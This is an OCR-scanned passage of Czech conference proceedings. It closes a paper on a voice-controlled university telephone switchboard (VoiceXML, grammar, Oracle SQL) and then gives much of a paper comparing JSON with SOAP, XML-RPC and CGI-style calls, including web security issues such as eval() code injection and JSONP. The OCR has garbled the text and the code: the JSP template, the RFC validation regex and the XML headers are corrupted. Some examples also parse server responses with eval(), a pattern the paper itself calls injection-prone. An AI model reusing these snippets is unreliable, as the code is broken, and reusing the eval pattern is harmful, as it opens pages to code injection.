a spusténi vice linek/hovori najednou. Pro komunikaci s telefonni siti vyuziva
docasné jednoduchou a levnou ISDN kartu AVM Fritz. Tato karta bude s pie-
chodem na IP telefonii nepotfebnd, proto bylo zbytecné investovat do drahych
aktivnich ISDN karet (napf. AVM ISDN C2, AVM ISDN C4).

Nutno podotknout, Ze databéze, dokumentovy server i interpreter VoiceXML
mohou byt umistény na jenom fyzickém stroji. Tim lze hardwarové naklady na
jednoduchou instalaci podstatné minimalizovat.

Popis dialogu

Po zavolani na ¢islo Spojovatelky prijme automat hovor a navaze s volajicim
dialog znazornény na schématu.

Pozdravi uzivatele a vyzve ho k zadani jména volaného. Vzhledem k pou-
zitému hardwaru a technologii probihé cely hovor v tzv. half-duplexnim mddu,
tj. bud mluvi uzivatel, nebo automat. Po pipnuti tedy uzivatel fekne, na kterou
osobu chcete prepojit. Zadat musi pfijmeni nebo funkci volané osoby. Zadanim
kfestniho jména, tituli ¢i pracovisté dotaz upfesni a muze tak chytre predejit
pripadnym doplnujicim otazkam automatu.

Na zadani osoby se mtzeme vratit z riznych mist dialogu vyfcenim fraze
,nove zaddni“ nebo stisknutim klavesy 0. Podobné se miize nechat pfepojit na
operatora vyicenim ,prepojit na operdtora“ nebo stisknutim klavesy 9. Jestlize
automat tfikrat za sebou nebude rozumét nebo uzivatel trikrat nic nezada, bude
prepojen na operatora.

Zadani uzivatele mtze vyhovovat riznému poctu vysledki. Pokud automat
nenalezne nikoho, nebo naopak vice nez 5 osob, budete pozadani o nové po-
drobnéjsi zadani. Pokud systém nalezne pravé jednu osobu, pfesune se do menu
osoby. Jinak musite sviij dotaz upfesnit. Automat nabidne dostupné moznosti
vyhovujici pfedchozimu zadani a uzivatel jednu vybere.

Jakmile je pozadovany zaméstnanec presné identifikovan, mize se uzivatel
nechat prepojit na prvni ¢islo nalezené osoby, pfipadné na jeji konkrétni telefon,
¢i se o ni dozvédét dalsi informace — podrobnosti.

Pokud volana osoba nebere telefon, nebo mé obsazeno, muzete zkusit volani
opakovat, nebo ji zavolat na jiné ¢islo (mé-li vice telefont), nebo se mizete vratit
na zadani osoby.
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Zkratky

Vzhledem k tomu, Ze je dialog navrzen jak pro ,nezkusené uzivatele“, tak i pro
ty co ho mohou pouzivat pravidelné, byly implementovany dvé zkratky, které
dokazi komunikaci vyrazné urychlit na nezbytné vysloveni pozadavku.

Rekne-li uzivatel klicové slovo ,volat” jako prvni pii zadani osoby, bude rov-
nou pfepojeni na volanou osobu a menu osoby bude vynechano. Zde je dtlezité
podotknout, Ze je nutné, aby zadani zaméstnance bylo jednoznacné a vedlo na
jednu konkrétni osobu. Jinak zkratka nebude mit zadny smysl a bude tieba
zadani upfesnit.

Pokud m4 volany zaméstnanec vice telefonnich éisel (sedi na vice mistech),
a volajici vi, ze ho zastihne vzdy napf. na druhém disle, miize si zkratit cestu
dialogem zadanim potadi ¢isla jako prvni ¢ast promluvy, napt. ,druhé cislo.
ODbé zkratky lze kombinovat, napi. ,volat druhé cislo profesor Psutka“.

Priprava dat

Cilem pripravy dat je transformovat nepiilis kvalitni data telefonniho seznamu
urcéend pro vizudlni reprezentaci na data vhodna k dostatecné kvalitni hlasové
reprezentaci. T'TS modul musi byt schopen uzivatele jasné a vystizné informovat,
v jaké fazi dialogu se nachazi, a popsat hledanou/nalezenou osobu. Zarover
ASR modul nesmi uzivatelsky vstup prili§ omezovat; uzivatel musi mit moznost
komunikovat se systémem co nejpfirozenéji.

7Z telefonniho seznamu pouzivame pole jméno, prijmeni, titul pred, titul za,
typ funkce, popis funkce a pracovisté. Pracovisté maji v databazi telefonniho
seznamu hierarchickou strukturu do tfeti urovné, priCemz posledni troven je
vzdy ZCU. Pro Spojovatelku pouzivame nanejvys prvni dvé trovné kromé ZCU,
napiiklad katedra kybernetiky, Fakulta aplikovanych véd. Dale pro rozsifeni
rozpoznavanych promluv je funkce zaméstnance navic generovana z pole typ
funkce + druhy pad pracovisté. Napriklad vedouci + katedra kybernetiky je po-
moci produkénich pravidel (viz déle) transformovano na vedouci katedry kyber-
netiky.

Vyhledavani

Pro vyhledavani osob v telefonnim seznamu bylo vybrano pét ptriznakd: jméno,
pfijmeni, tituly, funkce a pracovisté. Vyhledavaci dotaz musi obsahovat alespon
pfijmeni nebo funkci, dalsi pfiznaky jsou upfesnujici. Tato struktura je v da-
tabdzi implementovdna pomoci vnofenych tabulek (nested tables), kde kazdé
z poli v zdznamu osoby obsahuje seznam vsech moznych hodnot. Ma-li osoba
vyhovovat vyhledavacimu dotazu, musi byt kazda hodnota vracend ASR modu-
lem pfitomna v piislusném poli.
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Pro rychlé a efektivni vyhledavani, resp. rozpoznavani, je tfeba ASR modulu
dodat gramatiku, ktera, jak jiz bylo feceno, uzivatele pfili§ neomezuje, a zaro-
ven vraci rozpoznanou nejen hodnotu, ale i typ priznaku. Naptiklad pro titul
profesor dostaneme T(profesor), pro funkci rektor dostaneme F(rektor) apod.
Oznacime-li hranatymi zavorkami ,[]* nepovinnou ¢ast promluvy a svislitkem
| vysloveni bud levé, nebo pravé alternativy, mizeme pouzitou gramatiku za-
psat v nésledujici formeé:

osoba = (
[funkce] [osloveni] [tituly]
(([jméno] pfijmeni) | (pfijmeni jméno))
[tituly] [funkce | pracoviité]
)

| funkce;

Nepovinné osloveni nem4 na vyhledavéani zadny vliv a na vystupu ASR mo-
dulu se neobjevi. Podobné jako ostatni ptiznaky je zavislé na pohlavi osoby — viz
déle. Gramatika v této podobé generuje u vétsiny osob tisice akceptovatelnych
promluv!

Priklad gramatiky pro Josefa Psutku, vedouciho katedry kybernetiky vypada
takto:

[(vedouci {F(vedouci)}) | (vedouci katedry kybernetiky
{F(vedouci katedry kybernetiky)})]

[<osloveni_M>]

((cé es cé {T(cé es cé&)}) | (ing {T(ing)}) |

(inzenjr {T(inZenjr)}) | (kandidat v&d {T(kandidat véd)}) |
(profesor {T(profesor)}))=*

((josef {J(josef)}) ((psutka {P(psutka)})))

(((psutka {P(psutka)})) [(josef {J(josef)})]1))

((cé es cé {T(cé es cé)}) | (ing {T(ing)}) |

(inzenjr {T(inZenyr)}) | (kandidat v&d {T(kandidat véd)}) |
(profesor {T(profesor)}))=

[((vedouci {F(vedouci)}) | (vedouci katedry kybernetiky
{F(vedouci katedry kybernetiky)})) | ((fakulta aplikovanjch véd
{D(fakulta aplikovanjch véd)}) | (katedra kybernetiky
{D(katedra kybernetiky)}))x*]

Syntaxe je stejna jako u prikladu vysSe, rozpozndvany jsou promluvy mimo
slozené zévorky. V nich se nachdzi fetézce, které vrati ASR modul jako ano-
taci rozpoznané promluvy. Takto je tedy konkrétné realizovano znackovani typu
pole.
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Pro prohledavani tabulky osob véetné vnofenych tabulek lze v databézi
Oracle pouzit nékolik variant SQL dotazt, které vedou ke stejnému vysledku.
Je mozné se dotazovat, zda dand polozka existuje v seznamu (’josef’ IN
TABLE(jmeno)), ale z hlediska rychlosti zvitézily dotazy testujici existenci vy-
sledku. Naptiklad hledani osoby Josef Psutka je realizovano SQL dotazem:

SELECT * FROM spojovatelka

WHERE EXISTS (SELECT 1 FROM TABLE(jmeno) WHERE column_value =
’josef’)AND EXISTS (SELECT 1 FROM TABLE (prijmeni) WHERE
column_value = ’psutka’)

Prepis vyslovnosti

Pred pfedanim dat syntetizéru resp. rozpoznavaci feci je tfeba texty prepsat
do podoby, v jaké jsou vyslovovana. Proces zacina tzv. normalizaci textu, tedy
odstranénim vSech elementi, které nemaji na vyslovnost vliv, napt. velikost pis-
men, interpunkce aj. Text je pfeveden na mala pismena a veskeré carky, zavorky,
uvozovky, a jind znaménka, jsou odstranény. Pouze tecky jsou v textu ponechéany,
coz je vyhodné pfi rozepisovani zkratek.

Dalsi faze prepisu je realizovana pomoci produkénich pravidel. Ta se lisi jed-
nak v zdvislosti na typu pfiznaku a jednak v zavislosti na pohlavi osoby. Pfi-
rozend je aplikace pravidel na pfepis zkratek a tituld: ing. [inzenyr, inZenyrkal.
Kromé toho je takto mozné zlepSovat kvalitu dat, nap¥. opravu preklepi, pre-
pisovat cizi jména do Geské fonetické podoby (john [dZon]), ¢i generovat druhé
pady (katedra [z katedry]).

Produkéni pravidla jsou opakované pouzita na normalizovany text a vysled-
kem je obecné vice moznosti vyslovnosti. Kazdéa vyslovnost je bodové ohodno-
cena podle vhodnosti pfepisu. Vyslovnost s nejvice body poslouzi jako vstup pro
TTS jednotku, ostatni budou pouze rozpoznavany. Naptiklad titul ,,CSc.“ bude
syntetizérem vyslovovan jako ,kandidat véd“, ale rozpoznan bude i expresivni
vyraz ,cé es cé“.

Aby byly uSetfeny Casy za prenosy a predavani dat mezi webovym a da-
tabazovym serverem vibec, byla tato funkcionalita implementovana v SQL ba-
licku. Pouzivame sloZeny datovy typ PRONUNCIATION_LIST (seznam vyslovnosti),
ktery uchovava jak vyslovnost, tak jeji bodové ohodnoceni. Béhem procesu pre-
pisu vyslovnosti pouzivame funkce MERGE_PRONLISTS, ktera slouc¢i dva seznamy,
pficemz pokud narazi na dvé stejné polozky, pouzije vyslovnost s vice body,
a CONCAT_PRONLISTS, ktera pfipoji vyslovnosti z jednoho seznamu ke druhému
seznamu. Napfiklad seznam typt funkci k seznamu druhych padi pracovist (na-
priklad vedouci + katedry kybernetiky). Body se béhem této operace s¢itaji.
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Piiklad VoiceXML dialogu

<?xml version=’1.0’ encoding=’windows-1250’7>
<IDOCTYPE vxml SYSTEM "VoiceXMLInterpret-DTD20041108.dtd">
<vxml version="1.0">
<form id="inputform">
<help>Toto je népovéda k aplikaci automaticka spojovatelka
pro zaméstnance z celé Zapadoleské univerzity v Plzni. Po
zaznéni toénu feknéte jméno a prijmeni zaméstnance,
pfipadné tituly a pracovisté.<reprompt/>
</help>
<property name="inputmodes" value="voice"/>
<property name="timeout" value="7" />
<property name="silencelevel" value="4.6" />
<property name="confidencelevel" value="0.4"/>
<field name=’person’>
<grammar>#FILE spoj /voice.img voice</grammar>
<prompt bargein=’false’>
Zadejte prosim jméno zaméstnance.
<audio src=’snd/beep.wav’ />
</prompt>
<nomatch><prompt>Nebylo dobfe rozumét.</prompt>
<reprompt /></nomatch>
<noinput><prompt>Nebylo nic zadano.</prompt>
<reprompt /></noinput>
<nomatch count=’2’><prompt>0pét bylo Spatné rozumét.
Kvalita signdlu je zfejmé p¥ilis nizka. </prompt>
<goto next=’#errmenu’ /></nomatch>
<noinput count=’3’><prompt>Nebylo nic zadano.
</prompt> <goto next=’#errmenu’ /> </noinput>
</field>
<block>
<submit next="specify.php?silence=4.6" method="post"
namelist="person" />

</block>
</form>
<menu id=’errmenu’> ... </menu>
</vxml>

Uvedena ukézka VoiceXML dialog slouzi k zadéni dotazu pro vyhledani
osoby. Jsou v ném robustné oSetfeny vSechny alternativy, které mohou béhem
hovoru nastat. TTS jednotka se uzivatele nejprve zepta ,zadejte prosim jméno
zaméstnance®. Byla-li rozpozndna konkrétni osoba (dle pfipojené predkompilo-
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vané gramatiky), systém postoupi do dalsi faze pfepojeni. Pokud osoba rozpo-
znéna nebyla, at z dtivodu vyprseni ¢asového intervalu (noinput), nebo z divodu
Spatného signalu ¢i nevyhovéni gramatice (nomatch), je o tom uZzivatel nalezité
informovan. Pokud se ani na tfeti pokus nepodafi rozpoznat konkrétni osobu, je
uzivateli nabidnuto menu, ve kterém mé kromé hlasového vstupu téZ moznost
komunikovat se systémem pomoci kldvesnice telefonu (DTMF — Dual-tone multi-
frequency), coz muze byt uzite¢né pii nizké kvalité signalu ¢i vysokém okolnim
hluku.

Zaveér

V soucasné dobé obsahuje databaze Spojovatelky 1807 zaméstnanct Zapado-
Ceské univerzity, 2248 telefonnich ¢isel, na kterd se lze dotazat dohromady cca
17,5 mil. riznymi promluvami. Odezva systému v redlném case s takovymto ob-
jemem (a pfedevsim plnou podporou zadévani jména zaméstnance véetné tituld,
osloveni, funkee, ...) dat svédéi o efektivnim vyuziti $pickovych technologii.

Spojovatelka v soucasné verzi neslouzi pouze k pfepojovani hovort, ale do-
kaze uzivateli nabidnout vice linek, na kterych muze konkrétniho ¢lovéka zastih-
nout, poskytuje informace napfiklad adresu pracovisté vyhledané osoby.

Toto stadium aplikace pfedstavuje solidni zdklad pro dalsi rozvoj. Systém
by mohl zvlddat nejen pfepojovani hovort a podavani strohych informaci, ale
aplnou a prirozenou praci zivych operatorek. Napiiklad by se mohl ucit a pa-
matovat si, na kterém ¢isle je kterd osoba dostupné v ur¢itych hodindch/dnech,
a dle toho nabizet volajicimu linky k pfepojeni. Dalsi pfinosnou funkci by bylo
odliseni ,zkusenych“ a nezkuseny uzivatelt, tj. téch co aplikaci pouzivaji pravi-
delné a ndhodnych volajicich. Pamatovanim si tel. ¢isel volajicich by tak spojo-
vatelka mohla identifikovat pravidelné uzivatele a vyzvu k zadani zaméstnance
minimalizovat, tak aby se ¢as prepojeni zkratil na nezbytné nutnou dobu.

Zéavérem je nutné vyzdvihnout fakt, Ze se jednad o prvni praktickou reali-
zaci automatické telefonni spojovatelky v tak velkém rozsahu na tzemi Ceské
republiky.
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JSON — JEDNODUCHY FORMAT K VASIM SLUZBAM
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Abstrakt

Formdti vymeny dat existuje celd vada. Od jiZ témeér zapomenutych aZ po moderni
a hojné pouzivané; od uspornych a clovekem mnecitelnych bindrnich aZ po velkorysé
a clovekem leckdy opét témér necitelné textové. Formdty navriené pro nejuétsi inte-
roperabilitu s ni leckdy maji velké problémy a byvd snazsi se domluvit jednodussi Teci
s menst obecnosti, kterd vsak pokryvd vétsinu potreb komunikace. Prdvé takovym for-
mdtem je JSON (JavaScript Object Notation), standardizovany v RFC 4627. Hlavn{
aplikace JSON je v programovdni webu technologii Ajax, kde predstavuje alternativu
formatu XML, avsak lze jej vyuZit jako formdt vymény dat i jinde neZ na webu a s ji-
nymi jazyky neZ Javascriptem. Na webu je mavic spojen s urcitymi bezpecnostnimi
aspekty. Protokol JSON-RPC lze vyuzit ¢ mimo web jako uspornou a clovekem citel-
nou ndhradu XML-RPC. JSON jiZ nejakou dobu existuje a jeho vzrustajici popularitu
mauzZeme chdpat jako ndvrat obliby jednoduchych a ucelnych technologii.

1 Uvod

Prispévek mé za tkol seznamit ¢tenare s formatem JSON a jeho vyuZzitim. Pa-
radoxné vSak ,naucit se JSON* zde neni hlavnim cilem. Dulezitym zédmérem
je prekonat strach z pouziti jednoduchych technologii tam, kde nejsou slozité
potfeba, a poskytnout jistd voditka pro volbu komunikaéniho protokolu. Jak
ukazuji priklady déale, méné je nékdy vice a nékteré komplikované standardy
mohou vést k pouziti prislusnych technologii zptisobem, ktery je pod trovni
i méné sofistikovanych pristupi.

2 Vybrané priklady pouziti protokolu

Clanek se zabjva jen protokoly typicky pfenaSenymi v HTTP. Jelikoz jde o hlavni
transportni protokol v oblasti webu a informacnich systémil, neni toto omezeni
nijak limitujici.
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2.1 SOAP

SOAP je moderni protokol pro vyménu XML zpréav s nékolika modely fungovéni.
Nasledujici vypisy piedstavuji pomérné bézny dotaz a odpovéd v SOAP over
HTTP v nejbéznéjsim modelu RPC.

POST /test/stockquote HTTP/1.1

Host: www.orchitech.cz

Connection: Keep-Alive

Content-Type: text/xml; charset=utf-8

SOAPAction: "urn:xmethods-delayed-quotes#getQuote"
Content-Length: 652

<?7xml version="1.0" encoding="UTF-8"7>
<SOAP-ENV:Envelope
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:nsl1="urn:xmethods-delayed-quotes"
xmlns:xsd="http://wuw.w3.0rg/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
<nsl:getQuote>
<username xsi:type="xsd:string">ceo</username>
<password xsi:type="xsd:string">CeoSecret</password>
<symbol xsi:type="xsd:string">ERPN</symbol>
</nsl:getQuote>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

HTTP/1.1 200 OK

Date: Sun, 21 Sep 2008 15:30:59 GMT
Content-Length: 556

Keep-Alive: timeout=15, max=100
Connection: Keep-Alive

Content-Type: text/xml; charset=utf-8

<?xml version="1.0" encoding="UTF-8"7>

<SO0AP-ENV:Envelope
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:nsl="urn:xmethods-delayed-quotes"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
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<nsl:getQuoteResponse>
<Result xsi:type="xsd:float">98.43</Result>
</ns1:getQuoteResponse>
</SOAP-ENV : Body>
</SOAP-ENV:Envelope>

Za povsSimnuti stoji nékolik vlastnosti:

1. podil vlastnich dat na celkové velikosti zpravy je pomérné nizky,

2. v kazdém sméru se prenasi data slozend z nékolika primitivnich hodnot,
3. autentizacni tidaje jsou pfenaseny na stejné irovni jako data zpravy.
Jde o vlastnosti pomérné typické. Podivame-li se blize, zjistime ze:

1. Jde jednak o vlastnost XML, jednak protokol SOAP (Simple Object Access
Protocol) jde proti svému nézvu a jednoduchosti se velmi vzdaluje.

2. Vétsina zprav v praxi je jednoduchych; pridame-li moznost nad primitiv-
nimi hodnotami postavit struktury a seznamy, je pokryta potreba témér
kazdé aplikace. Naproti tomu v SOAP je flexibilita velmi velka, lze defi-
novat nové typy i serializace, vyuzivat nuanci jako nil versus neuvedeny
element apod. Bohuzel je to na iikor jednoduchosti a interoperability imple-
mentaci. A tak i s pfesnou specifikaci ve WSDL se volajici a volana strana
nejlépe domluvi, prenasi-li se co ,nejjednodussi“ data co ,nejbéznéjsSim*
zpusobem.

3. Ackoliv existuji rozsiteni pro autentizaci v SOAP hlavickach a ackoliv 1ze
autentizovat také na HT'TP vrtsvé, z divodu jednoduchosti a interoperabi-
lity je ¢asto volena moznost prenaset autentizacni tdaje v datech. SOAP
je obsluhovan protocol stacky, do nichz nemusi byt snadné zasdhnout —
a tak vygenerované stuby sice programatora pékné odstinuji od celé slo-
Zitosti, ale také je pak tézsi zasdhnout do SOAP nebo HTTP hlavicek.
Stav to samoziejmé neni idedlni, ale pomérné zfetelné ukazuje na to, ze
i s takto sofistikovanym protokolem dostava prednost splnéni cile ,, jakkoliv
data prenést” pred korektnim modelovanim zprav.

2.2 Je tedy SOAP sSpatny?

Neni. SOAP mé své nezastupitelné misto tam, kde je deployovan i se svymi
vyhodami. Tam, kde se vyuziva jako kompletni middleware vice nez individualné
defiovand volani. M4 spoustu zajimavych rozsifeni jako podporu distribuovanych
transakci (WS-Transactions), plnotuéné Web Services jsou stavebnim blokem
dalsich technologii jako Enterprise Message Bus. Tam, kde je SOAP vychozi
volbou prostiedi, neni divod pokouset se to meénit. OvSem oznaceni ,snadny
zpusob domluvy libovolnych systému® je spise reklamni nalepka.
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2.3 XML-RPC

XML-RPC je protokol pro vzdalena volani vyuZzivajici XML pro pfenos struk-
turovanych zprav. Rezim RPC, jak jiz ndzev napovida, je primarnim cilem pro-
tokolu a v této oblasti jej lze brat jako predchidce protokolu SOAP. Zpravy
maji pevné danou strukturu dotazu, odpovédi a kédovani jednotlivych typi. Na
rozdil od SOAP je zde snazsi zpravy obsluhovat pfimym zpracovanim XML bez
specializovaného protocol stacku, ackoliv vyuziti protocol stacktl je bézné.
Nasledujici vypisy predstavuji pomérné bézny dotaz a odpovéd v XML-RPC.

POST /test/quote HTTP/1.0

Content-Type: text/xml

Authorization: Basic Z3JhdHVsdWppOmtoYWNrbnVOaTotKQ==
Host: www.orchitech.net

Content-Length: 182

<?xml version="1.0" encoding="utf-8"7>
<methodCall>
<methodName>Quote.get</methodName>
<params>
<param><value><string>ERPN</string></value></param>
</params>
</methodCall>

HTTP/1.1 200 OK

Date: Wed, 20 Aug 2008 19:30:09 GMT
Content-Type: text/xml
Content-Length: 216

Connection: close

<?7xml version="1.0" encoding="UTF-8"7>
<methodResponse
xmlns:ex="http://ws.apache.org/xmlrpc/namespaces/extensions">
<params>
<param><value><string>98.53</string></value></param>
</params>
</methodResponse>

Podil dat na celkovém objemu zpravy je o néco vétsi. Pro vétsinu aplikaci
je prijemné, ze vSechny datové typy jsou pfimou soucasti standardu, ktery tak
neni problém implementovat cely. Nepfijemné naopak je, Ze datovy typ nil je
roz§ifeni, které nepodporuji vSechny implementace.

Pro autentizaci zde byla pouzita metoda HTTP Basic transportniho proto-
kolu, kterou zde miZeme chdpat jako ,standardngjsi“ feSeni, nebot neexistuje
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konkurenéni standard prenosu autentizace pifimo v XML-RPC. Samoziejmé, po-
uzitim nékterého protocol stacku muzeme byt opét odstinéni od pienosového
protokolu — s pozitivnimi i negativnimi dtsledky.

2.4 CGI styl

Tento zpusob komunikace je postaven primo nad HTTP. Parametry volani se
predavaji v query stringu metody GET, resp. v datech POST jako typ applica-
tion/x-www-form-urlencoded.

Opacnym smérem se zprava vraci v téle odpovédi. Tento zpusob je velmi
asporny a efektivni, nicméné chybi reprezentace neprimitivnich typt. Ve speci-
alizovanych nasazenich se vSak Casto jedna o nejefektivnéjsi metodu.

GET /test/quote?symbol=ERPN HTTP/1.0
Authorization: Basic Z3JhdHVsdWppOmtoYWNrbnVOaTotKQ==
Host: www.orchitech.net

HTTP/1.1 200 OK

Date: Wed, 20 Aug 2008 19:30:09 GMT
Content-Type: text/plain
Content-Length: 5

Connection: close

99.26

2.5 JSON

JSON predstavuje velmi jednoduché, textové a ¢lovékem snadno Citelné feseni
strukturovani dat. Typické pouziti predstavuje CGl-style HTTP GET v dotazu,
JSON v téle odpovédi. Neni ndhodou, ze pokracovani naseho prikladu je témér
shodné jako CGI styl — primitivni hodnota se totiz v JSON kéduje opravdu jako
primitivni hodnota:

GET /test/quote.json?symbol=ERPN HTTP/1.0
Authorization: Basic Z3JhdHVsdWppOmtoYWNrbnVOaTotKQ==
Host: www.orchitech.net

HTTP/1.1 200 OK

Date: Wed, 20 Aug 2008 19:30:09 GMT
Content-Type: text/plain
Content-Length: 7

Connection: close

(99.28)

Podrobnéji se formatem zabyva dlasi ¢ast.
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3 JSON

JSON, neboli Javascript Object Notation, je zpusob inline zapisu dat v Ja-
vascriptu. Format byl standardizovan jako RFC 4627 [4].
Kromé atomickych hodnot je zaloZen jen na dvou strukturach:

e mnozinach dvojic kli¢, hodnota — reprezentuje struktury, objekty, hashe,
asociativni pole, ...,

e fazeném seznamu hodnot — reprezentuje pole, seznamy, sekvence.

Atomické hodnoty jsou ¢isla, Fetézce a konstanty true, false, null. Pfesnou
notaci lze nalézt na [1].

Zde si ukazme jen priklad, ktery muzZe reprezentovat informace sdélované
Javascriptem ovladanému prehravaci videa ve WWW prohlizeci.

{
"videoId": 5791,
"info": "V1k honi zajice",
"sources": [ "rtsp://streaml.example.org/stream",
"rtsp://stream2.example.org/stream" ],
"audio": [ "cz", "ru" 1],
"subtitles": [ "en", "ru" ]

K formatu JSON také exituje ndvrh JSON-schema, ktery by mél umoznit
automatickou validaci.

3.1 Serializace do JSON

Na [1] je uvedena fada implementaci v riznych prostfedich. Forméat JSON je
v8ak natolik jednoduchy, Ze obvyklym zpisobem tvorby je renderovani pomoci
Sablonovaciho systému. Ponechme stranou, zda je to spravny pristup, a ukazme
si, jak lze minuly vystup ziskat napt. pomoci JSP:

{

"videoId": ${video.videoId},

"info": <spring:escapeBody javaScriptEscape="true">
${video.info}</spring:escapeBody>,

"sources": [ <c:forEach items="${video.sources}"
var="url" varStatus="st">"${url}"${st.last

? 72 ;2 2} /c:forEach> ],

"audio": [ <c:forEach items="${video.audios}" var="a

varStatus="st">${a.code}${st.last
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? 2 2 2} /c:forEach> ],
"subtitles": [ <c:forEach items="${video.subtitles}"
var="s" varStatus="st">${s.code}${st.last
? 722 : 2, 2} /c:forEach> ]

Pomérné neprijemnou vlastnosti pro generovani Sablonami je, Ze posledni
prvek seznamu nesmi byt nasledovan ¢arkou tak, jak jsem zvykli napt. z jazyka C.

wevs

zustat skryta.

3.2 Deserializace z JSON

JSON lze zpracovat opét jednou z implemenatci uvedenych na [1] nebo vlast-
nim parserem. V pfipadé Javascriptu lze vyuzit toho, ze JSON je sdm o sobé
Javascript. Zpracovani v tomto jazyce je pak velmi snadné:

var json = ...;
var obj = eval(json);

4 JSON a WWW

Nejcastejsim pouzitim JSON je z webového prohlizece pomoci objektu
XMLHttpRequest.

var ajax = new XMLHttpRequest();
ajax.open( "GET", url + "?symbol=ERPN", true);
ajax.onreadystatechange = function () {
if (ajax.readyState == 4) {
if (ajax.status == 200) {
var value = eval(ajax.responseText);
alert("Hodnota je " + value)
} else {
alert( "Nastala chyba.");
}

ajax = null;

};

Ztstava zde samoziejmé moznost asynchronniho zpracovani, vyhodnoceni
vysledku se déje pouhym volanim eval (). Ptfijemné je, zZe server dostava od pro-
hlizece obdobné informace jako u ,standardnich®“ dotazt na objekty, na strané
serveru jsou tedy zejména znamé vSechny cookies a potazmo session, v niz klient
pracuje.
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Dalsimi moznostmi, jak prenést JSON do WWW prohlizece je pouziti for-
mulaii, iframes a dynamicky vytvareny uzlt <sript>.

4.1 Bezpecnostni dopady na WWW

Pouziti JSON na webu ma jednak urcité dopady v dasledku typického zpracovani
odpoveédi a dale je zde opét stard znaméa otazka cross-site skriptovani.

JSON a JS funkce eval()

Nejsnazsi vyhodnoceni JSON pomoci eval () vyuziva faktu, ze JSON je platny
JS kéd. Pravé vyhodnoceni JS kédu je tlohou eval(). Nic tedy nebrani do
JSONu propasovat libovolny JS kéd (code injection). Ten se pak provede v kon-
textu volajici stranky, kde mutze napachat velké skody, napiiklad vynést citliva
data. Jednou cestou k feSeni je volani jen nasich — divéryhodnych skripti. RFC
4627 [4] doporucuje validovat obsah JSON pomoci regularniho vyrazu takto:

var my_JSON_object = !(/[~,:{}\[\]0-9.\-+Eaeflnr-u \n\r\tl/.test(
text.replace(/"(\\.|[""\\D)*"/g, ’’))) &&
eval(C(C + text + ’)’);

Cross Site Scripting

Povoleni/zakdzani volat sluzby na jinych doménach nez téch, z nichz pochazi
volajici skript, je ddno metodou, jakou je JSON prenéasen. Pti pouziti XMLHtt-
pRequest neni mozné volat kéd z jiné site (ackoliv exituji jisté techniky jako
proxy stranka), pomoci jinych metod jako dynamického vkladani <script> to
Ize. Je zodpovédnosti tvirce WWW stranky, aby do ni nepustil skodlivé chovani
z venku.

4.2 JSONP

JSONP (JSON with padding) je odpovédi na nemoznost XMLHttpRequest volat
jiné domény. Ptistup vyuziva napi. DOJO toolkit, nicméné jini JSONP povazuji
za ,pojmenovany exploit®.

Princip je jednoduchy — tag <script> nemd omezeni na pivod kédu a lze
tak vkladat kéd z cizich domén nebo tfeba z https zdroji do http stranek.

Do dokumentu se pies DOM API dynamicky vlozi tag <script> se src
vedoucim na serverem dynamicky tvoieny javascript. Ukolem tohoto Javascriptu
je zavolat callback na nasi strance a predat mu vygenerovany JSON objekt.

Velky bezpecnostni problém je v tom, ze zatimco JSON lze validovat a branit
se tak pritomnosti kédu v datech, zde se jedna inherentné o vkladani kédu
a serveru musime prosté davérovat.

Pouziti JSONP miize vypadat nasledovné:
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function handleQuote(quote) {
alert(quote);
}
var calledUrl = url ? "jsonp=handleQuote&symbol=ERPN";
calledUrl += "&" + new Date().getTime() .toString(); // prevent caching
var script = document.createElement("script");
script.setAttribute("src", calledUrl);
script.setAttribute("type", "text/javascript");
document . body . appendChild(script) ;

Ocekévana odpovéd serveru je ve formétu:

handleQuote(75.6);

5 Porovnani s XML

JSON byva casto srovnavan s XML. Ackoliv se najde spousta veli¢in jako mnoz-
stvi usSetfenych byte prenosového pasma, poc¢tu nezmaienych cykldt CPU, snad-
nosti precist data clovékem, hlavni rozdil je v ticelu. XML je znackovaci jazyk

vvvvv

formét pro vymeénu zprav. Co se tyce nabizenych moznosti, pro vétsinu aplikaci
jsou v podstaté ekvivalentni. Vétsina datovych typu je postavena nad Fetézci,
zadny z formati nema dobrou podporu pfenosu binarnich dat, obvykle se pou-
ziva kdédovani do base64.

6 JSON-RPC

JSON-RPC je jednoduchy protokol pro vzdalena volani. Zpravy jsou tii typu —
dotazy, odpovédi a notifikace; vSechny ve formatu JSON.
Kazdy dotaz je tvoren JSON objektem s nasledujicimi vlastnostmi:

method — nizev metody/funkce/sluzby, kterd se ma vykonat,
params — JSON pole s argumenty volané metody,
id — identifikator dotazu, slouzi ke sparovani odpovédi.
Kazda odpovéd je tvorena JSON objektem s nasledujicimi vlastnostmi:

result — vysledek volani metody, musi byt null v pfipadé, Ze pfi volani doslo
k chybé,

error — objekt s informacemi o chybé, pokud vznikla; musi byt null v piipadé,
Ze pfi volani nedoslo k chybé,

id — identifikdtor dotazu.
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Notifikace jsou specialni dotazy, které nemaji odpovéd. Od dotazl se odlisuji
tim, Ze id musi byt null.

6.1 JSON-RPC over HTTP

JSON-RPC [5] je obousmérny protokol, kdy dotazy a notifikace miize kdykoliv
posilat navazujici i navazana strana spojeni. To je pomérné pfimocaré v pfipadé
trvajicich TCP /IP spojeni, nicméné v nejéastéjsim piipadé — pouziti HT'TP — je
situace ponékud pestiejsi.

Kvili obousmérnosti JSON-RPC a jednosmérnosti HT'TP muze byt komu-
nikace rozprostiena i pfes nékolik HT'TP dotazi.

Klient muze poslat najednou nékolik dotazu, notifikaci a odpovédi zaslanim
HTTP POST s nékolika JSON objekty typu dotaz, resp. notifikace, resp. odpo-
véd.

Server musi poslat odpovédi na vSechny dotazy a muze soucasné poslat své
dotazy a notifikace. Klient v takovém pripadé musi poslat odpovédi v novém
HTTP post dotazu.

Klient téz muze poslat prazdny HT'TP POST, aby mu server mohl poslat své
